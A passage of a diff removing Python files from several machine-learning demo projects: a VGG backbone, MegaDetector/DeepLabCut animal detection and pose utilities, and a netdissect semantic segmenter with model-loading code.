-                out_channels=output_channels,
-                kernel_size=3,
-                stride=1,
-                padding=1,
-                weight_attr=ParamAttr(name=name + "4_weights"),
-                bias_attr=False)
-
-        self._pool = MaxPool2D(
-            kernel_size=2, stride=2, padding=0, return_mask=True)
-
-    def forward(self, inputs):
-        x = self._conv_1(inputs)
-        x = F.relu(x)
-        if self.groups == 2 or self.groups == 3 or self.groups == 4:
-            x = self._conv_2(x)
-            x = F.relu(x)
-        if self.groups == 3 or self.groups == 4:
-            x = self._conv_3(x)
-            x = F.relu(x)
-        if self.groups == 4:
-            x = self._conv_4(x)
-            x = F.relu(x)
-        skip = x
-        x, max_indices = self._pool(x)
-        return x, max_indices, skip
-
-
-class VGGNet(nn.Layer):
-    def __init__(self, input_channels=3, layers=11, pretrained=None):
-        super(VGGNet, self).__init__()
-        self.pretrained = pretrained
-
-        self.layers = layers
-        self.vgg_configure = {
-            11: [1, 1, 2, 2, 2],
-            13: [2, 2, 2, 2, 2],
-            16: [2, 2, 3, 3, 3],
-            19: [2, 2, 4, 4, 4]
-        }
-        assert self.layers in self.vgg_configure.keys(), \
-            "supported layers are {} but input layer is {}".format(
-                self.vgg_configure.keys(), layers)
-        self.groups = self.vgg_configure[self.layers]
-
-        # matting的第一层卷积输入为4通道，初始化是直接初始化为0
-        self._conv_block_1 = ConvBlock(
-            input_channels, 64, self.groups[0], name="conv1_")
-        self._conv_block_2 = ConvBlock(64, 128, self.groups[1], name="conv2_")
-        self._conv_block_3 = ConvBlock(128, 256, self.groups[2], name="conv3_")
-        self._conv_block_4 = ConvBlock(256, 512, self.groups[3], name="conv4_")
-        self._conv_block_5 = ConvBlock(512, 512, self.groups[4], name="conv5_")
-
-        # 这一层的初始化需要利用vgg fc6的参数转换后进行初始化，可以暂时不考虑初始化
-        self._conv_6 = Conv2D(
-            512, 512, kernel_size=3, padding=1, bias_attr=False)
-
-        self.init_weight()
-
-    def forward(self, inputs):
-        fea_list = []
-        ids_list = []
-        x, ids, skip = self._conv_block_1(inputs)
-        fea_list.append(skip)
-        ids_list.append(ids)
-        x, ids, skip = self._conv_block_2(x)
-        fea_list.append(skip)
-        ids_list.append(ids)
-        x, ids, skip = self._conv_block_3(x)
-        fea_list.append(skip)
-        ids_list.append(ids)
-        x, ids, skip = self._conv_block_4(x)
-        fea_list.append(skip)
-        ids_list.append(ids)
-        x, ids, skip = self._conv_block_5(x)
-        fea_list.append(skip)
-        ids_list.append(ids)
-        x = F.relu(self._conv_6(x))
-        fea_list.append(x)
-        return fea_list
-
-    def init_weight(self):
-        if self.pretrained is not None:
-            utils.load_pretrained_model(self, self.pretrained)
-
-
-@manager.BACKBONES.add_component
-def VGG11(**args):
-    model = VGGNet(layers=11, **args)
-    return model
-
-
-@manager.BACKBONES.add_component
-def VGG13(**args):
-    model = VGGNet(layers=13, **args)
-    return model
-
-
-@manager.BACKBONES.add_component
-def VGG16(**args):
-    model = VGGNet(layers=16, **args)
-    return model
-
-
-@manager.BACKBONES.add_component
-def VGG19(**args):
-    model = VGGNet(layers=19, **args)
-    return model

spaces/DeepLabCut/MegaDetector_DeepLabCut/detection_utils.py

@@ -1,116 +0,0 @@
-
-from tkinter import W
-import gradio as gr
-from matplotlib import cm
-import torch
-import torchvision
-from dlclive import DLCLive, Processor
-import matplotlib
-from PIL import Image, ImageColor, ImageFont, ImageDraw 
-import numpy as np
-import math
-
-
-import yaml
-import pdb
-
-############################################
-# Predict detections with MegaDetector v5a model
-def predict_md(im, 
-               megadetector_model, #Megadet_Models[mega_model_input]
-               size=640):
-               
-    # resize image
-    g = (size / max(im.size))  # multipl factor to make max size of the image equal to input size
-    im = im.resize((int(x * g) for x in im.size), 
-                    Image.ANTIALIAS)  # resize
-    # device
-    if torch.cuda.is_available():
-        md_device = torch.device('cuda')
-    else:
-        md_device = torch.device('cpu')
-
-    # megadetector    
-    MD_model = torch.hub.load('ultralytics/yolov5', # repo_or_dir
-                              'custom', #model
-                              megadetector_model, # args for callable model
-                              force_reload=True,
-                              device=md_device) 
-                              
-    # send model to gpu if possible
-    if (md_device == torch.device('cuda')):
-        print('Sending model to GPU')
-        MD_model.to(md_device)    
-
-    ## detect objects
-    results = MD_model(im)  # inference # vars(results).keys()= dict_keys(['imgs', 'pred', 'names', 'files', 'times', 'xyxy', 'xywh', 'xyxyn', 'xywhn', 'n', 't', 's'])
-    
-    return results  
-
-
-##########################################
-def crop_animal_detections(img_in,
-                           yolo_results, 
-                           likelihood_th):
-
-    ## Extract animal crops
-    list_labels_as_str = [i for i in yolo_results.names.values()]  # ['animal', 'person', 'vehicle'] 
-    list_np_animal_crops = []
-
-    # image to crop (scale as input for megadetector)
-    img_in = img_in.resize((yolo_results.ims[0].shape[1],
-                            yolo_results.ims[0].shape[0]))
-    # for every detection in the img                        
-    for det_array in yolo_results.xyxy:
-
-        # for every detection
-        for j in range(det_array.shape[0]):
-
-            # compute coords around bbox rounded to the nearest integer (for pasting later)
-            xmin_rd = int(math.floor(det_array[j,0])) # int() should suffice?
-            ymin_rd = int(math.floor(det_array[j,1]))
-
-            xmax_rd = int(math.ceil(det_array[j,2]))
-            ymax_rd = int(math.ceil(det_array[j,3]))
-
-            pred_llk = det_array[j,4] 
-            pred_label = det_array[j,5]
-            # keep animal crops above threshold
-            if (pred_label == list_labels_as_str.index('animal')) and \
-                (pred_llk >= likelihood_th):
-                area = (xmin_rd, ymin_rd, xmax_rd, ymax_rd)
-
-                #pdb.set_trace()
-                crop = img_in.crop(area) #Image.fromarray(img_in).crop(area)
-                crop_np = np.asarray(crop)
-
-                # add to list
-                list_np_animal_crops.append(crop_np)
-
-    return list_np_animal_crops
-
-##########################################
-def predict_dlc(list_np_crops,
-                kpts_likelihood_th,
-                DLCmodel,
-                dlc_proc):
-    
-    # run dlc thru list of crops
-    dlc_live = DLCLive(DLCmodel, processor=dlc_proc)
-    dlc_live.init_inference(list_np_crops[0])
-
-    list_kpts_per_crop = []
-    all_kypts  = []
-    np_aux = np.empty((1,3)) # can I avoid hardcoding here?
-    for crop in list_np_crops:
-        # scale crop here?
-        keypts_xyp = dlc_live.get_pose(crop) # third column is llk!
-        # set kpts below threhsold to nan
-        
-        #pdb.set_trace()
-        keypts_xyp[keypts_xyp[:,-1] < kpts_likelihood_th,:] = np_aux.fill(np.nan)
-        # add kpts of this crop to list 
-        list_kpts_per_crop.append(keypts_xyp)
-        all_kypts.append(keypts_xyp)
-    
-    return list_kpts_per_crop

spaces/DeepLabCut/MegaDetector_DeepLabCut/save_results.py

@@ -1,56 +0,0 @@
-import json 
-import numpy as np
-import pdb
-
-dict_pred = {0: 'animal', 1: 'person', 2: 'vehicle'}
-
-
-def save_results(md_results, dlc_outputs,map_label_id_to_str,thr,output_file = 'dowload_predictions.json'):
-
-    """
-
-    write json
-
-    """
-    info = {}
-    ## info megaDetector
-    info['file']= md_results.files[0]
-    number_bb = len(md_results.xyxy[0].tolist())
-    info['number_of_bb'] = number_bb
-    number_bb_thr = len(dlc_outputs)
-    labels = [n for n in map_label_id_to_str.values()]
-    #pdb.set_trace()
-    new_index = []
-    for i in range(number_bb):
-        corner_x1,corner_y1,corner_x2,corner_y2,confidence, _ =  md_results.xyxy[0].tolist()[i]
-
-        if confidence > thr:
-            new_index.append(i)
-
-
-    for i in range(number_bb_thr):
-        aux={}
-        corner_x1,corner_y1,corner_x2,corner_y2,confidence, _ =  md_results.xyxy[0].tolist()[new_index[i]]
-        aux['corner_1'] = (corner_x1,corner_y1)
-        aux['corner_2'] = (corner_x2,corner_y2)
-        aux['predict MD'] = md_results.names[0]
-        aux['confidence MD'] = confidence
-        
-        ## info dlc
-        kypts = []
-        for s in dlc_outputs[i]:
-            aux1 = []
-            for j in s:
-                aux1.append(float(j))
-
-            kypts.append(aux1)
-        aux['dlc_pred']  = dict(zip(labels,kypts))
-        info['bb_' + str(new_index[i]) ]=aux
-
-
-    with open(output_file, 'w') as f:
-        json.dump(info, f, indent=1)
-        print('Output file saved at {}'.format(output_file))
-
-    return output_file
-

spaces/Dinoking/Guccio-AI-Designer/netdissect/segmenter.py

@@ -1,581 +0,0 @@
-# Usage as a simple differentiable segmenter base class
-
-import os, torch, numpy, json, glob
-import skimage.morphology
-from collections import OrderedDict
-from netdissect import upsegmodel
-from netdissect import segmodel as segmodel_module
-from netdissect.easydict import EasyDict
-from urllib.request import urlretrieve
-
-class BaseSegmenter:
-    def get_label_and_category_names(self):
-        '''
-        Returns two lists: first, a list of tuples [(label, category), ...]
-        where the label and category are human-readable strings indicating
-        the meaning of a segmentation class.  The 0th segmentation class
-        should be reserved for a label ('-') that means "no prediction."
-        The second list should just be a list of [category,...] listing
-        all categories in a canonical order.
-        '''
-        raise NotImplemented()
-
-    def segment_batch(self, tensor_images, downsample=1):
-        '''
-        Returns a multilabel segmentation for the given batch of (RGB [-1...1])
-        images.  Each pixel of the result is a torch.long indicating a
-        predicted class number.  Multiple classes can be predicted for
-        the same pixel: output shape is (n, multipred, y, x), where
-        multipred is 3, 5, or 6, for how many different predicted labels can
-        be given for each pixel (depending on whether subdivision is being
-        used).  If downsample is specified, then the output y and x dimensions
-        are downsampled from the original image.
-        '''
-        raise NotImplemented()
-
-    def predict_single_class(self, tensor_images, classnum, downsample=1):
-        '''
-        Given a batch of images (RGB, normalized to [-1...1]) and
-        a specific segmentation class number, returns a tuple with
-           (1) a differentiable ([0..1]) prediction score for the class
-               at every pixel of the input image.
-           (2) a binary mask showing where in the input image the
-               specified class is the best-predicted label for the pixel.
-        Does not work on subdivided labels.
-        '''
-        raise NotImplemented()
-
-class UnifiedParsingSegmenter(BaseSegmenter):
-    '''
-    This is a wrapper for a more complicated multi-class segmenter,
-    as described in https://arxiv.org/pdf/1807.10221.pdf, and as
-    released in https://github.com/CSAILVision/unifiedparsing.
-    For our purposes and to simplify processing, we do not use
-    whole-scene predictions, and we only consume part segmentations
-    for the three largest object classes (sky, building, person).
-    '''
-
-    def __init__(self, segsizes=None, segdiv=None):
-        # Create a segmentation model
-        if segsizes is None:
-            segsizes = [256]
-        if segdiv == None:
-            segdiv = 'undivided'
-        segvocab = 'upp'
-        segarch = ('resnet50', 'upernet')
-        epoch = 40
-        segmodel = load_unified_parsing_segmentation_model(
-                segarch, segvocab, epoch)
-        segmodel.cuda()
-        self.segmodel = segmodel
-        self.segsizes = segsizes
-        self.segdiv = segdiv
-        mult = 1
-        if self.segdiv == 'quad':
-            mult = 5
-        self.divmult = mult
-        # Assign class numbers for parts.
-        first_partnumber = (
-                (len(segmodel.labeldata['object']) - 1) * mult + 1 +
-                (len(segmodel.labeldata['material']) - 1))
-        # We only use parts for these three types of objects, for efficiency.
-        partobjects = ['sky', 'building', 'person']
-        partnumbers = {}
-        partnames = []
-        objectnumbers = {k: v
-                for v, k in enumerate(segmodel.labeldata['object'])}
-        part_index_translation = []
-        # We merge some classes.  For example "door" is both an object
-        # and a part of a building.  To avoid confusion, we just count
-        # such classes as objects, and add part scores to the same index.
-        for owner in partobjects:
-            part_list = segmodel.labeldata['object_part'][owner]
-            numeric_part_list = []
-            for part in part_list:
-                if part in objectnumbers:
-                    numeric_part_list.append(objectnumbers[part])
-                elif part in partnumbers:
-                    numeric_part_list.append(partnumbers[part])
-                else:
-                    partnumbers[part] = len(partnames) + first_partnumber
-                    partnames.append(part)
-                    numeric_part_list.append(partnumbers[part])
-            part_index_translation.append(torch.tensor(numeric_part_list))
-        self.objects_with_parts = [objectnumbers[obj] for obj in partobjects]
-        self.part_index = part_index_translation
-        self.part_names = partnames
-        # For now we'll just do object and material labels.
-        self.num_classes = 1 + (
-                len(segmodel.labeldata['object']) - 1) * mult + (
-                len(segmodel.labeldata['material']) - 1) + len(partnames)
-        self.num_object_classes = len(self.segmodel.labeldata['object']) - 1
-
-    def get_label_and_category_names(self, dataset=None):
-        '''
-        Lists label and category names.
-        '''
-        # Labels are ordered as follows:
-        # 0, [object labels] [divided object labels] [materials] [parts]
-        # The zero label is reserved to mean 'no prediction'.
-        if self.segdiv == 'quad':
-            suffixes = ['t', 'l', 'b', 'r']
-        else:
-            suffixes = []
-        divided_labels = []
-        for suffix in suffixes:
-            divided_labels.extend([('%s-%s' % (label, suffix), 'part')
-                for label in self.segmodel.labeldata['object'][1:]])
-        # Create the whole list of labels
-        labelcats = (
-                [(label, 'object')
-                    for label in self.segmodel.labeldata['object']] +
-                divided_labels +
-                [(label, 'material')
-                    for label in self.segmodel.labeldata['material'][1:]] +
-                [(label, 'part') for label in self.part_names])
-        return labelcats, ['object', 'part', 'material']
-
-    def raw_seg_prediction(self, tensor_images, downsample=1):
-        '''
-        Generates a segmentation by applying multiresolution voting on
-        the segmentation model, using (rounded to 32 pixels) a set of
-        resolutions in the example benchmark code.
-        '''
-        y, x = tensor_images.shape[2:]
-        b = len(tensor_images)
-        tensor_images = (tensor_images + 1) / 2 * 255
-        tensor_images = torch.flip(tensor_images, (1,)) # BGR!!!?
-        tensor_images -= torch.tensor([102.9801, 115.9465, 122.7717]).to(
-                   dtype=tensor_images.dtype, device=tensor_images.device
-                   )[None,:,None,None]
-        seg_shape = (y // downsample, x // downsample)
-        # We want these to be multiples of 32 for the model.
-        sizes = [(s, s) for s in self.segsizes]
-        pred = {category: torch.zeros(
-            len(tensor_images), len(self.segmodel.labeldata[category]),
-            seg_shape[0], seg_shape[1]).cuda()
-            for category in ['object', 'material']}
-        part_pred = {partobj_index: torch.zeros(
-            len(tensor_images), len(partindex),
-            seg_shape[0], seg_shape[1]).cuda()
-            for partobj_index, partindex in enumerate(self.part_index)}
-        for size in sizes:
-            if size == tensor_images.shape[2:]:
-                resized = tensor_images
-            else:
-                resized = torch.nn.AdaptiveAvgPool2d(size)(tensor_images)
-            r_pred = self.segmodel(
-                dict(img=resized), seg_size=seg_shape)
-            for k in pred:
-                pred[k] += r_pred[k]
-            for k in part_pred:
-                part_pred[k] += r_pred['part'][k]
-        return pred, part_pred
-
-    def segment_batch(self, tensor_images, downsample=1):
-        '''
-        Returns a multilabel segmentation for the given batch of (RGB [-1...1])
-        images.  Each pixel of the result is a torch.long indicating a
-        predicted class number.  Multiple classes can be predicted for
-        the same pixel: output shape is (n, multipred, y, x), where
-        multipred is 3, 5, or 6, for how many different predicted labels can
-        be given for each pixel (depending on whether subdivision is being
-        used).  If downsample is specified, then the output y and x dimensions
-        are downsampled from the original image.
-        '''
-        pred, part_pred = self.raw_seg_prediction(tensor_images,
-                downsample=downsample)
-        piece_channels = 2 if self.segdiv == 'quad' else 0
-        y, x = tensor_images.shape[2:]
-        seg_shape = (y // downsample, x // downsample)
-        segs = torch.zeros(len(tensor_images), 3 + piece_channels,
-                seg_shape[0], seg_shape[1],
-                dtype=torch.long, device=tensor_images.device)
-        _, segs[:,0] = torch.max(pred['object'], dim=1)
-        # Get materials and translate to shared numbering scheme
-        _, segs[:,1] = torch.max(pred['material'], dim=1)
-        maskout = (segs[:,1] == 0)
-        segs[:,1] += (len(self.segmodel.labeldata['object']) - 1) * self.divmult
-        segs[:,1][maskout] = 0
-        # Now deal with subparts of sky, buildings, people
-        for i, object_index in enumerate(self.objects_with_parts):
-            trans = self.part_index[i].to(segs.device)
-            # Get the argmax, and then translate to shared numbering scheme
-            seg = trans[torch.max(part_pred[i], dim=1)[1]]
-            # Only trust the parts where the prediction also predicts the
-            # owning object.
-            mask = (segs[:,0] == object_index)
-            segs[:,2][mask] = seg[mask]
-
-        if self.segdiv == 'quad':
-            segs = self.expand_segment_quad(segs, self.segdiv)
-        return segs
-
-    def predict_single_class(self, tensor_images, classnum, downsample=1):
-        '''
-        Given a batch of images (RGB, normalized to [-1...1]) and
-        a specific segmentation class number, returns a tuple with
-           (1) a differentiable ([0..1]) prediction score for the class
-               at every pixel of the input image.
-           (2) a binary mask showing where in the input image the
-               specified class is the best-predicted label for the pixel.
-        Does not work on subdivided labels.
-        '''
-        result = 0
-        pred, part_pred = self.raw_seg_prediction(tensor_images,
-                downsample=downsample)
-        material_offset = (len(self.segmodel.labeldata['object']) - 1
-            ) * self.divmult
-        if material_offset < classnum < material_offset + len(
-                self.segmodel.labeldata['material']):
-            return (
-                pred['material'][:, classnum - material_offset],
-                pred['material'].max(dim=1)[1] == classnum - material_offset)
-        mask = None
-        if classnum < len(self.segmodel.labeldata['object']):
-            result = pred['object'][:, classnum]
-            mask = (pred['object'].max(dim=1)[1] == classnum)
-        # Some objects, like 'door', are also a part of other objects,
-        # so add the part prediction also.
-        for i, object_index in enumerate(self.objects_with_parts):
-            local_index = (self.part_index[i] == classnum).nonzero()
-            if len(local_index) == 0:
-                continue
-            local_index = local_index.item()
-            # Ignore part predictions outside the mask. (We could pay
-            # atttention to and penalize such predictions.)
-            mask2 = (pred['object'].max(dim=1)[1] == object_index) * (
-                    part_pred[i].max(dim=1)[1] == local_index)
-            if mask is None:
-                mask = mask2
-            else:
-                mask = torch.max(mask, mask2)
-            result = result + (part_pred[i][:, local_index])
-        assert result is not 0, 'unrecognized class %d' % classnum
-        return result, mask
-
-    def expand_segment_quad(self, segs, segdiv='quad'):
-        shape = segs.shape
-        segs[:,3:] = segs[:,0:1] # start by copying the object channel
-        num_seg_labels = self.num_object_classes
-        # For every connected component present (using generator)
-        for i, mask in component_masks(segs[:,0:1]):
-            # Figure the bounding box of the label
-            top, bottom = mask.any(dim=1).nonzero()[[0, -1], 0]
-            left, right = mask.any(dim=0).nonzero()[[0, -1], 0]
-            # Chop the bounding box into four parts
-            vmid = (top + bottom + 1) // 2
-            hmid = (left + right + 1) // 2
-            # Construct top, bottom, right, left masks
-            quad_mask = mask[None,:,:].repeat(4, 1, 1)
-            quad_mask[0, vmid:, :] = 0   # top
-            quad_mask[1, :, hmid:] = 0   # right
-            quad_mask[2, :vmid, :] = 0   # bottom
-            quad_mask[3, :, :hmid] = 0   # left
-            quad_mask = quad_mask.long()
-            # Modify extra segmentation labels by offsetting
-            segs[i,3,:,:] += quad_mask[0] * num_seg_labels
-            segs[i,4,:,:] += quad_mask[1] * (2 * num_seg_labels)
-            segs[i,3,:,:] += quad_mask[2] * (3 * num_seg_labels)
-            segs[i,4,:,:] += quad_mask[3] * (4 * num_seg_labels)
-        # remove any components that were too small to subdivide
-        mask = segs[:,3:] <= self.num_object_classes
-        segs[:,3:][mask] = 0
-        return segs
-
-class SemanticSegmenter(BaseSegmenter):
-    def __init__(self, modeldir=None, segarch=None, segvocab=None,
-            segsizes=None, segdiv=None, epoch=None):
-        # Create a segmentation model
-        if modeldir == None:
-            modeldir = 'dataset/segmodel'
-        if segvocab == None:
-            segvocab = 'baseline'
-        if segarch == None:
-            segarch = ('resnet50_dilated8', 'ppm_bilinear_deepsup')
-        if segdiv == None:
-            segdiv = 'undivided'
-        elif isinstance(segarch, str):
-            segarch = segarch.split(',')
-        segmodel = load_segmentation_model(modeldir, segarch, segvocab, epoch)
-        if segsizes is None:
-            segsizes = getattr(segmodel.meta, 'segsizes', [256])
-        self.segsizes = segsizes
-        # Verify segmentation model to has every out_channel labeled.
-        assert len(segmodel.meta.labels) == list(c for c in segmodel.modules()
-            if isinstance(c, torch.nn.Conv2d))[-1].out_channels
-        segmodel.cuda()
-        self.segmodel = segmodel
-        self.segdiv = segdiv
-        # Image normalization
-        self.bgr = (segmodel.meta.imageformat.byteorder == 'BGR')
-        self.imagemean = torch.tensor(segmodel.meta.imageformat.mean)
-        self.imagestd = torch.tensor(segmodel.meta.imageformat.stdev)
-        # Map from labels to external indexes, and labels to channel sets.
-        self.labelmap = {'-': 0}
-        self.channelmap = {'-': []}
-        self.labels = [('-', '-')]
-        num_labels = 1
-        self.num_underlying_classes = len(segmodel.meta.labels)
-        # labelmap maps names to external indexes.
-        for i, label in enumerate(segmodel.meta.labels):
-            if label.name not in self.channelmap:
-                self.channelmap[label.name] = []
-            self.channelmap[label.name].append(i)
-            if getattr(label, 'internal', None) or label.name in self.labelmap:
-                continue
-            self.labelmap[label.name] = num_labels
-            num_labels += 1
-            self.labels.append((label.name, label.category))
-        # Each category gets its own independent softmax.
-        self.category_indexes = { category.name:
-                [i for i, label in enumerate(segmodel.meta.labels)
-                   if label.category == category.name] 
-                for category in segmodel.meta.categories }
-        # catindexmap maps names to category internal indexes
-        self.catindexmap = {}
-        for catname, indexlist in self.category_indexes.items():
-            for index, i in enumerate(indexlist):
-                self.catindexmap[segmodel.meta.labels[i].name] = (
-                        (catname, index))
-        # After the softmax, each category is mapped to external indexes.
-        self.category_map = { catname:
-                torch.tensor([
-                    self.labelmap.get(segmodel.meta.labels[ind].name, 0)
-                    for ind in catindex])
-                for catname, catindex in self.category_indexes.items()}
-        self.category_rules = segmodel.meta.categories
-        # Finally, naive subdivision can be applied.
-        mult = 1
-        if self.segdiv == 'quad':
-            mult = 5
-            suffixes = ['t', 'l', 'b', 'r']
-            divided_labels = []
-            for suffix in suffixes:
-                divided_labels.extend([('%s-%s' % (label, suffix), cat)
-                    for label, cat in self.labels[1:]])
-                self.channelmap.update({
-                    '%s-%s' % (label, suffix): self.channelmap[label]
-                    for label, cat in self.labels[1:] })
-            self.labels.extend(divided_labels)
-        # For examining a single class
-        self.channellist = [self.channelmap[name] for name, _ in self.labels]
-
-    def get_label_and_category_names(self, dataset=None):
-        return self.labels, self.segmodel.categories
-
-    def segment_batch(self, tensor_images, downsample=1):
-        return self.raw_segment_batch(tensor_images, downsample)[0]
-
-    def raw_segment_batch(self, tensor_images, downsample=1):
-        pred = self.raw_seg_prediction(tensor_images, downsample)
-        catsegs = {}
-        for catkey, catindex in self.category_indexes.items():
-            _, segs = torch.max(pred[:, catindex], dim=1)
-            catsegs[catkey] = segs
-        masks = {}
-        segs = torch.zeros(len(tensor_images), len(self.category_rules),
-                pred.shape[2], pred.shape[2], device=pred.device,
-                dtype=torch.long)
-        for i, cat in enumerate(self.category_rules):
-            catmap = self.category_map[cat.name].to(pred.device)
-            translated = catmap[catsegs[cat.name]]
-            if getattr(cat, 'mask', None) is not None:
-                if cat.mask not in masks:
-                    maskcat, maskind = self.catindexmap[cat.mask]
-                    masks[cat.mask] = (catsegs[maskcat] == maskind)
-                translated *= masks[cat.mask].long()
-            segs[:,i] = translated
-        if self.segdiv == 'quad':
-            segs = self.expand_segment_quad(segs,
-                    self.num_underlying_classes, self.segdiv)
-        return segs, pred
-
-    def raw_seg_prediction(self, tensor_images, downsample=1):
-        '''
-        Generates a segmentation by applying multiresolution voting on
-        the segmentation model, using (rounded to 32 pixels) a set of
-        resolutions in the example benchmark code.
-        '''
-        y, x = tensor_images.shape[2:]
-        b = len(tensor_images)
-        # Flip the RGB order if specified.
-        if self.bgr:
-           tensor_images = torch.flip(tensor_images, (1,))
-        # Transform from our [-1..1] range to torch standard [0..1] range
-        # and then apply normalization.
-        tensor_images = ((tensor_images + 1) / 2
-                ).sub_(self.imagemean[None,:,None,None].to(tensor_images.device)
-                ).div_(self.imagestd[None,:,None,None].to(tensor_images.device))
-        # Output shape can be downsampled.
-        seg_shape = (y // downsample, x // downsample)
-        # We want these to be multiples of 32 for the model.
-        sizes = [(s, s) for s in self.segsizes]
-        pred = torch.zeros(
-            len(tensor_images), (self.num_underlying_classes),
-            seg_shape[0], seg_shape[1]).cuda()
-        for size in sizes:
-            if size == tensor_images.shape[2:]:
-                resized = tensor_images
-            else:
-                resized = torch.nn.AdaptiveAvgPool2d(size)(tensor_images)
-            raw_pred = self.segmodel(
-                dict(img_data=resized), segSize=seg_shape)
-            softmax_pred = torch.empty_like(raw_pred)
-            for catindex in self.category_indexes.values():
-                softmax_pred[:, catindex] = torch.nn.functional.softmax(
-                        raw_pred[:, catindex], dim=1)
-            pred += softmax_pred
-        return pred
-
-    def expand_segment_quad(self, segs, num_seg_labels, segdiv='quad'):
-        shape = segs.shape
-        output = segs.repeat(1, 3, 1, 1)
-        # For every connected component present (using generator)
-        for i, mask in component_masks(segs):
-            # Figure the bounding box of the label
-            top, bottom = mask.any(dim=1).nonzero()[[0, -1], 0]
-            left, right = mask.any(dim=0).nonzero()[[0, -1], 0]
-            # Chop the bounding box into four parts
-            vmid = (top + bottom + 1) // 2
-            hmid = (left + right + 1) // 2
-            # Construct top, bottom, right, left masks
-            quad_mask = mask[None,:,:].repeat(4, 1, 1)
-            quad_mask[0, vmid:, :] = 0   # top
-            quad_mask[1, :, hmid:] = 0   # right
-            quad_mask[2, :vmid, :] = 0   # bottom
-            quad_mask[3, :, :hmid] = 0   # left
-            quad_mask = quad_mask.long()
-            # Modify extra segmentation labels by offsetting
-            output[i,1,:,:] += quad_mask[0] * num_seg_labels
-            output[i,2,:,:] += quad_mask[1] * (2 * num_seg_labels)
-            output[i,1,:,:] += quad_mask[2] * (3 * num_seg_labels)
-            output[i,2,:,:] += quad_mask[3] * (4 * num_seg_labels)
-        return output
-
-    def predict_single_class(self, tensor_images, classnum, downsample=1):
-        '''
-        Given a batch of images (RGB, normalized to [-1...1]) and
-        a specific segmentation class number, returns a tuple with
-           (1) a differentiable ([0..1]) prediction score for the class
-               at every pixel of the input image.
-           (2) a binary mask showing where in the input image the
-               specified class is the best-predicted label for the pixel.
-        Does not work on subdivided labels.
-        '''
-        seg, pred = self.raw_segment_batch(tensor_images,
-                downsample=downsample)
-        result = pred[:,self.channellist[classnum]].sum(dim=1)
-        mask = (seg == classnum).max(1)[0]
-        return result, mask
-
-def component_masks(segmentation_batch):
-    '''
-    Splits connected components into regions (slower, requires cpu).
-    '''
-    npbatch = segmentation_batch.cpu().numpy()
-    for i in range(segmentation_batch.shape[0]):
-        labeled, num = skimage.morphology.label(npbatch[i][0], return_num=True)
-        labeled = torch.from_numpy(labeled).to(segmentation_batch.device)
-        for label in range(1, num):
-            yield i, (labeled == label)
-
-def load_unified_parsing_segmentation_model(segmodel_arch, segvocab, epoch):
-    segmodel_dir = 'dataset/segmodel/%s-%s-%s' % ((segvocab,) + segmodel_arch)
-    # Load json of class names and part/object structure
-    with open(os.path.join(segmodel_dir, 'labels.json')) as f:
-        labeldata = json.load(f)
-    nr_classes={k: len(labeldata[k])
-                for k in ['object', 'scene', 'material']}
-    nr_classes['part'] = sum(len(p) for p in labeldata['object_part'].values())
-    # Create a segmentation model
-    segbuilder = upsegmodel.ModelBuilder()
-    # example segmodel_arch = ('resnet101', 'upernet')
-    seg_encoder = segbuilder.build_encoder(
-            arch=segmodel_arch[0],
-            fc_dim=2048,
-            weights=os.path.join(segmodel_dir, 'encoder_epoch_%d.pth' % epoch))
-    seg_decoder = segbuilder.build_decoder(
-            arch=segmodel_arch[1],
-            fc_dim=2048, use_softmax=True,
-            nr_classes=nr_classes,
-            weights=os.path.join(segmodel_dir, 'decoder_epoch_%d.pth' % epoch))
-    segmodel = upsegmodel.SegmentationModule(
-            seg_encoder, seg_decoder, labeldata)
-    segmodel.categories = ['object', 'part', 'material']
-    segmodel.eval()
-    return segmodel
-
-def load_segmentation_model(modeldir, segmodel_arch, segvocab, epoch=None):
-    # Load csv of class names
-    segmodel_dir = 'dataset/segmodel/%s-%s-%s' % ((segvocab,) + segmodel_arch)
-    with open(os.path.join(segmodel_dir, 'labels.json')) as f:
-        labeldata = EasyDict(json.load(f))
-    # Automatically pick the last epoch available.
-    if epoch is None:
-        choices = [os.path.basename(n)[14:-4] for n in
-                glob.glob(os.path.join(segmodel_dir, 'encoder_epoch_*.pth'))]
-        epoch = max([int(c) for c in choices if c.isdigit()])
-    # Create a segmentation model
-    segbuilder = segmodel_module.ModelBuilder()
-    # example segmodel_arch = ('resnet101', 'upernet')
-    seg_encoder = segbuilder.build_encoder(
-            arch=segmodel_arch[0],
-            fc_dim=2048,
-            weights=os.path.join(segmodel_dir, 'encoder_epoch_%d.pth' % epoch))
-    seg_decoder = segbuilder.build_decoder(
-            arch=segmodel_arch[1],
-            fc_dim=2048, inference=True, num_class=len(labeldata.labels),
-            weights=os.path.join(segmodel_dir, 'decoder_epoch_%d.pth' % epoch))
-    segmodel = segmodel_module.SegmentationModule(seg_encoder, seg_decoder,
-                                  torch.nn.NLLLoss(ignore_index=-1))
-    segmodel.categories = [cat.name for cat in labeldata.categories]
-    segmodel.labels = [label.name for label in labeldata.labels]
-    categories = OrderedDict()
-    label_category = numpy.zeros(len(segmodel.labels), dtype=int)
-    for i, label in enumerate(labeldata.labels):
-        label_category[i] = segmodel.categories.index(label.category)
-    segmodel.meta = labeldata
-    segmodel.eval()
-    return segmodel
-
-def ensure_upp_segmenter_downloaded(directory):
-    baseurl = 'http://netdissect.csail.mit.edu/data/segmodel'
-    dirname = 'upp-resnet50-upernet'
-    files = ['decoder_epoch_40.pth', 'encoder_epoch_40.pth', 'labels.json']
-    download_dir = os.path.join(directory, dirname)
-    os.makedirs(download_dir, exist_ok=True)
-    for fn in files:
-        if os.path.isfile(os.path.join(download_dir, fn)):
-            continue # Skip files already downloaded
-        url = '%s/%s/%s' % (baseurl, dirname, fn)
-        print('Downloading %s' % url)
-        urlretrieve(url, os.path.join(download_dir, fn))
-    assert os.path.isfile(os.path.join(directory, dirname, 'labels.json'))
-
-def test_main():
-    '''
-    Test the unified segmenter.
-    '''
-    from PIL import Image
-    testim = Image.open('script/testdata/test_church_242.jpg')
-    tensor_im = (torch.from_numpy(numpy.asarray(testim)).permute(2, 0, 1)
-            .float() / 255 * 2 - 1)[None, :, :, :].cuda()
-    segmenter = UnifiedParsingSegmenter()
-    seg = segmenter.segment_batch(tensor_im)
-    bc = torch.bincount(seg.view(-1))
-    labels, cats = segmenter.get_label_and_category_names()
-    for label in bc.nonzero()[:,0]:
-        if label.item():
-            # What is the prediction for this class?
-            pred, mask = segmenter.predict_single_class(tensor_im, label.item())
-            assert mask.sum().item() == bc[label].item()
-            assert len(((seg == label).max(1)[0] - mask).nonzero()) == 0
-            inside_pred = pred[mask].mean().item()
-            outside_pred = pred[~mask].mean().item()
